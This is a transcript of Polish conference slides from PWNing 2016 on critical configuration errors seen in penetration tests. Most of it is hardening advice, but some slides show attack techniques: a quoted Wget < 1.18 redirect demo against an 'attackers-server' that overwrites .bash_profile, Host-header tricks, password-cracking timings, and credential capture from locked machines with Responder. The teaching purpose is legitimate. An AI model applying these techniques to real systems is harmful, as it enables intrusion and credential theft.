krytyczne błędy konfiguracji

65
Security PWNing Conference 2016 Krytyczne błędy konfiguracji Borys Łącki 08.11.2016

Upload: logicaltrust-pl

Post on 15-Apr-2017

141 views

Category:

Technology


0 download

TRANSCRIPT

Page 1: Krytyczne błędy konfiguracji

Security PWNing Conference 2016

Krytyczne błędy konfiguracji

Borys Łącki 08.11.2016

Page 2: Krytyczne błędy konfiguracji

Od ponad 10 lat wykonując testy penetracyjne, testujemy bezpieczeństwo i zabezpieczamy

zasoby Klientów.

Borys Łącki - Logicaltrust

Page 3: Krytyczne błędy konfiguracji

Edukacja

http://sprawdzpesel.pl

> 100 wykładów

Page 4: Krytyczne błędy konfiguracji

Nasza perspektywa

● Test penetracyjny – „proces polegający na przeprowadzeniu kontrolowanego ataku na system teleinformatyczny, mający na celu praktyczną ocenę bieżącego stanu bezpieczeństwa (...)”

Wikipedia

Page 5: Krytyczne błędy konfiguracji

Budowanie bezpieczeństwa

Page 6: Krytyczne błędy konfiguracji

Konfiguracja

● Oddzielaj● Aktualizuj● Weryfikuj● Ograniczaj● Porządkuj● Monitoruj● Dokumentuj● Automatyzuj

Page 7: Krytyczne błędy konfiguracji

Konfiguracja - cel

Ograniczanie udanych ataków

Spowalnianie atakujących

Page 8: Krytyczne błędy konfiguracji

Konfiguracja

Page 9: Krytyczne błędy konfiguracji

BugBounty – wyciek informacji

Page 10: Krytyczne błędy konfiguracji

BugBounty – konfiguracja OAuth

Page 11: Krytyczne błędy konfiguracji

BugBounty – brak separacji + hasła

username: admin and password: ???????

Page 12: Krytyczne błędy konfiguracji

BugBounty – konfiguracja DNS

Page 13: Krytyczne błędy konfiguracji

BugBounty – brak separacji

Page 14: Krytyczne błędy konfiguracji

BugBounty – ujawnienie informacji

Page 15: Krytyczne błędy konfiguracji

BugBounty – ujawnienie informacji

Page 16: Krytyczne błędy konfiguracji

Security Appliance

● Brak aktualizacji● Błędna konfiguracja● Proste i stałe hasła● Stałe klucze/certyfikaty SSL (SelfSigned cert) –

podsłuchiwanie

Palo Alto - Attacking Next - Generation Firewalls

Page 17: Krytyczne błędy konfiguracji

Aktualizacje – stacje robocze

Page 18: Krytyczne błędy konfiguracji

Aktualizacje – stacje robocze

Page 19: Krytyczne błędy konfiguracji

Aktualizacje – serwery

Page 20: Krytyczne błędy konfiguracji

Aktualizacje – serweryGNU Wget < 1.18 Arbitrary File Upload / Potential Remote Code Execution

victim@trusty:~$ wget http://attackers-server/safe-file.txtResolving attackers-server... 192.168.57.1Connecting to attackers-server|192.168.57.1|:80... connected.HTTP request sent, awaiting response... 302 FoundLocation: ftp://192.168.57.1/.bash_profile [following] => .bash_profileConnecting to 192.168.57.1:21... connected.Logging in as anonymous ... Logged in!==> SYST ... done. ==> PWD ... done.==> TYPE I ... done. ==> CWD not needed.==> SIZE .bash_profile ... 55==> PASV ... done. ==> RETR .bash_profile ... done.Length: 55 (unauthoritative) .bash_profile 100%[===============================================================>] 2016-02-19 04:50:37 (1.27 MB/s) - .bash_profile saved [55]

Page 21: Krytyczne błędy konfiguracji

Aktualizacje - kernel

Page 22: Krytyczne błędy konfiguracji

Firewall

iptables -n -L INPUT

Chain INPUT (policy DROP)

ip6tables -n -L INPUT

Chain INPUT (policy ACCEPT)

Page 23: Krytyczne błędy konfiguracji

Firewall - VLANs

Dostęp działu HR do repozytorium kodu źródłowego

Page 24: Krytyczne błędy konfiguracji

VMware vSwitch – ARP spoofing

Page 25: Krytyczne błędy konfiguracji

Firewall – ICMP redirect - off

Type=5, Code=1 (or Lady In The Middle)

Dorota Kulas

Page 26: Krytyczne błędy konfiguracji

Firewall – ACL

https://www.youtube.com/watch?v=fRinW7SJC6QAPT x 3 - wybrane studium przypadków

Page 27: Krytyczne błędy konfiguracji

Konfiguracja - Debug

Page 28: Krytyczne błędy konfiguracji

Apache mod_negotiate

GET /index HTTP/1.1

Accept: xxxx/xxxx

< HTTP/1.1 406 Not Acceptable

< Alternates: {"index.html.ca" 1 {type text/html} {language ca} {length 1884}}, {"index.html.cz" 1 {type text/html} {language cs} {length 1583}}, {"index.html.de" 1 {type text/html} {language de} {length 2274}}, {"index.html.dk" 1 {type text/html} {language da} {length 1557}}, {"index.html.ee" 1 {type text/html} {language et} {length 1877}}, {"index.html.el" 1 {type text/html} {language el} {length 1677}}, {"index.html.en" 1 {type text/html} {language en} {length 2673}}, {"index.html.es" 1 {type text/html} {language es} {length 1799}}, {"index.html.fr" 1 {type text/html} {language fr} {length 1525}}, {"index.html.he.iso8859-8" 1 {type text/html} {charset iso-8859-8} {language he} {length 3706}}, {"index.html.it" 1 {type text/html} {language it} {length 1847}}, {"index.html.ja.jis" 1 {type text/html} {charset iso-2022-jp} {language ja} {length 1799}}, {"index.html.kr.iso-kr" 1 {type text/html} {charset iso-2022-kr} {language kr} {length 1333}}, {"index.html.nl" 1 {type text/html} {language nl} {length 2007}}, {"index.html.nn" 1 {type text/html} {language nn} {length 1534}}, {"index.html.no" 1 {type text/html} {language no} {length 1526}}, {"index.html.po.iso-pl" 1 {type text/html} {charset iso-8859-2} {language pl} {length 1497}}, {"index.html.pt" 1 {type text/html} {language pt} {length 1842}}, {"index.html.pt-br" 1 {type text/html} {language pt-br} {length 2035}}, {"index.html.ru.cp-1251" 1 {type text/html} {charset windows-1251} {language ru} {length 1591}}, {"index.html.ru.cp866" 1 {type text/html} {charset cp866} {language ru} {length 1585}}, {"index.html.ru.iso-ru" 1 {type text/html} {charset iso-8859-5} {language ru} {length 1589}}, {"index.html.ru.koi8-r" 1 {type text/html} {charset koi8-r} {language ru} {length 1585}}, {"index.html.ru.ucs2" 1 {type text/html} {charset ucs-2} {language ru} {length 3134}}, {"index.html.ru.ucs4" 1 {type text/html} {charset ucs-4} {language ru} {length 6268}}, {"index.html.ru.utf8" 1 {type text/html} {charset utf-8} {language ru} {length 2318}}, {"index.html.zh-tw.big5" 1 {type text/html} {charset big5} {language zh-tw} {length 1062}}

< Vary: negotiate,accept-language,accept-charset

Page 29: Krytyczne błędy konfiguracji

IIS

Deploy IIS with 8.3 names disabled

https://github.com/irsdl/IIS-ShortName-Scanner

Page 30: Krytyczne błędy konfiguracji

SSL / TLS

Page 31: Krytyczne błędy konfiguracji

Web Application Firewall

Page 32: Krytyczne błędy konfiguracji

Zbędne zasoby

Page 33: Krytyczne błędy konfiguracji

Zbędne zasoby

Page 34: Krytyczne błędy konfiguracji

Zbędne zasoby

ls -ltr /tmp/

-rw-r--r-- 1 root root 7077888 mar 15 2016 sqldump.tar.bz2

drwx------ 2 root root 4096 kwi 3 2016 gpg-oqFS5S

-rw-r--r-- 1 root root 12189696 maj 29 00:00 database.pgsql.gz

drwx------ 2 root root 4096 wrz 12 00:00 lu9eqlt2.tmp

-rw------- 1 root root 0 paź 14 08:41 config-err-97zpmD

Page 35: Krytyczne błędy konfiguracji

Zbędne zasoby

Page 36: Krytyczne błędy konfiguracji

Proxy, Vhost, Load Balancer

● Host: 127.0.0.1

● Host: test

[email protected]/ HTTP/1.1http://[email protected]/

Page 37: Krytyczne błędy konfiguracji

Algorytmy haseł./john .htaccess-bcrypt Loaded 1 password hash (OpenBSD Blowfish [32/64 X2])

c/s: 1412 > 4 lata

./john .htaccess-crypt Loaded 1 password hash (Traditional DES [128/128 BS SSE2-16])

c/s: 2907K 19 godzin

Page 38: Krytyczne błędy konfiguracji

USB – Rubber Ducky

http://usbrubberducky.com

Page 39: Krytyczne błędy konfiguracji

USB Ethernet + Responder == Creds

https://room362.com/post/2016/snagging-creds-from-locked-machines/

Page 40: Krytyczne błędy konfiguracji

Logowanie

Page 41: Krytyczne błędy konfiguracji

Active Directory● LAN Manager authentication level: Send NTLMv2 response only. Refuse LM & NTLM

● Microsoft network server: Digitally sign communication (always): Enabled

● Network access: Do not allow anonymous enumeration of SAM accounts and shares: Enabled

Securing Domain Controllers to Improve Active Directory Security

https://adsecurity.org/?p=3377

Page 42: Krytyczne błędy konfiguracji

Windows Workstation

Page 43: Krytyczne błędy konfiguracji

Windows Workstation

Page 44: Krytyczne błędy konfiguracji

Windows Workstation

Page 45: Krytyczne błędy konfiguracji

Windows Workstation - EMET

Page 46: Krytyczne błędy konfiguracji

Windows Workstation● Disable WPAD● Disable LLMNR● Disable Microsoft Office Macros● Disable Microsoft Office OLE

Securing Windows Workstations: Developing a Secure Baseline

https://adsecurity.org/?p=3299

Page 47: Krytyczne błędy konfiguracji

Zarządzanie danymi

Page 48: Krytyczne błędy konfiguracji

Zbędne zasoby i informacje

Page 49: Krytyczne błędy konfiguracji

Zbędne usługi

Page 50: Krytyczne błędy konfiguracji

GIT repository

Page 51: Krytyczne błędy konfiguracji

Hasło „na moment”

SECURE 2016 – Łukasz Siewierski – Mój serwer jest chory!

Page 52: Krytyczne błędy konfiguracji

Błędne uprawnienia

ls -ltr /etc/cron.daily/

-rwxr-xr-x 1 root root 15481 paź 28 2014 apt

-rwxr-xr-x 1 root root 625 lip 22 2014 apache2

-rwxr-xr-x 1 root root 123 sty 29 2014 tripwire

-rwxrwxrwx 1 root root 173 kwi 9 2016 database_update.sh

Page 53: Krytyczne błędy konfiguracji

Błędne uprawnienia

-rw-r--r-- 1 root mlocate 20635027 lis 4 12:26 /var/lib/mlocate/mlocate.db

Page 54: Krytyczne błędy konfiguracji

Opowieści z krypty – hosting w PL

Na tym serwerze byl calkowity brak miejsca na partycjach i system krytycznych analiz musial usunac kilka kopii zapasowych

userow aby serwer dzialal bedziemy zmieniac macierz dyskowa na tym serwerze

na wieksza aby nikomu nie brakowalo miejsca na ta chwile przepraszamy za sytuacje i dodamy 1 miesiac gratis

hostingu za to

Page 55: Krytyczne błędy konfiguracji

Opowieści z krypty - porządek<xxx> kurwa prawie zawału dostałem<xxx> wpadam sprawdzić, czy się dobrze backup zrobił<xxx> patrzę, jest<xxx> ale daty się nie zgadzają<xxx> ostatni backup 04.2015<xxx> ciśnienie mi się podniosło<xxx> szukam patrzę<xxx> a to stary serwer backupu<xxx> nie zgasiliśmy go<xxx> i sobie stoi<xxx> ja pierdolę :)

Page 56: Krytyczne błędy konfiguracji

Opowieści z krypty - sieć

<xxx> a to ja kiedys dawno temu przeczytalem gdzies<xxx> ze hackerzy beda robic konkurs w internecie kto wiecej stron zdefacuje<xxx> wiec chcialem zabezpieczyc swoj serwer<xxx> zalogowalem sie zdalnie<xxx> dalem iptables -P INPUT DROP<xxx> ... i byl bezpiecznie :)

Page 57: Krytyczne błędy konfiguracji

Opowieści z krypty - procesy

<yyy> uy mnie w robocie gosc puscil TRUNCATE bazy na produkcji wklejajac sql z neta bez sprawdzenia

<xxx> u mnie puscil update tylko zapomnial dac where :D

Page 58: Krytyczne błędy konfiguracji

● Polityka haseł (2FA)● Aktualizacje systemów i aplikacji● Segmentacja sieci (IPv4+IPv6)● Szyfrowanie danych i transmisji

● Testy bezpieczeństwa● Porządek – OS, Sieć, Urządzenia● Ograniczenia kont (Administratorów)● CIS Benchmark, NIST Security Checklist● Zautomatyzowane testy bezpieczeństwa

Obrona

Page 59: Krytyczne błędy konfiguracji

● Oddzielaj - sieci● Aktualizuj - oprogramowanie● Weryfikuj - ustawienia● Ograniczaj - uprawnienia● Porządkuj - systemy● Monitoruj - zasoby● Dokumentuj - procesy● Automatyzuj

Page 60: Krytyczne błędy konfiguracji

Narzędzia - Lynis

Page 61: Krytyczne błędy konfiguracji

Narzędzia

Page 62: Krytyczne błędy konfiguracji

Materiały dodatkowe● Narzędzia do zautomatyzowanego testowania bezpieczeństwa

https://www.youtube.com/watch?v=9zgH7wHv_V0

● OWASP Top10 Najpopularniejsze błędy bezpieczeństwa aplikacji WWW

https://www.youtube.com/watch?v=hOAc5vUKrqA

● Podstawowy arsenał testera bezpieczeństwa aplikacji WWW

https://www.youtube.com/watch?v=F1COxOJyM7o

● APT x 3 - wybrane studium przypadków

https://www.youtube.com/watch?v=fRinW7SJC6Q

● The Security Checklist

https://github.com/FallibleInc/security-guide-for-developers/blob/master/security-checklist.md

Page 63: Krytyczne błędy konfiguracji

https://zaufanatrzeciastrona.plhttp://sekurak.pl/http://niebezpiecznik.plhttp://bothunters.pl

https://benchmarks.cisecurity.org/downloads/form/index.cfm?download=docker16.100https://github.com/docker/docker-bench-security

https://hackerone.com/reports/143482https://hackerone.com/reports/116504https://hackerone.com/reports/128114https://hackerone.com/reports/136891https://hackerone.com/reports/143438https://hackerone.com/reports/126099https://hackerone.com/reports/149679https://avicoder.me/2016/07/22/Twitter-Vine-Source-code-dump/

https://zaufanatrzeciastrona.pl/post/jak-w-latwy-sposob-zainfekowac-17-000-komputerow-programistow/

https://github.com/irsdl/iis-shortname-scanner/

https://jenkins.io/blog/2015/11/06/mitigating-unauthenticated-remote-code-execution-0-day-in-jenkins-cli/http://blog.saynotolinux.com/blog/2016/08/15/jetbrains-ide-remote-code-execution-and-local-file-disclosure-vulnerability-analysis/

http://sprawdzpesel.pl

https://quiz.securityinside.pl/quiz/start?id=1

https://quiz.securityinside.pl/quiz/start?id=2

http://www.slideshare.net/logicaltrust

Ikony: https://www.iconfinder.com/Vecteezy

Materiały dodatkowe

Page 64: Krytyczne błędy konfiguracji

https://z3s.pl/szkolenia/

Atak i obrona:● Bezpieczeństwo aplikacji WWW● Bezpieczeństwo aplikacji mobilnych

-20%Obowiązuje 31.337 dni

Hasło: ITPWN16

Szkolenia – rabat

Page 65: Krytyczne błędy konfiguracji

Dziękuję za uwagę

Borys Łącki

[email protected]

Pytania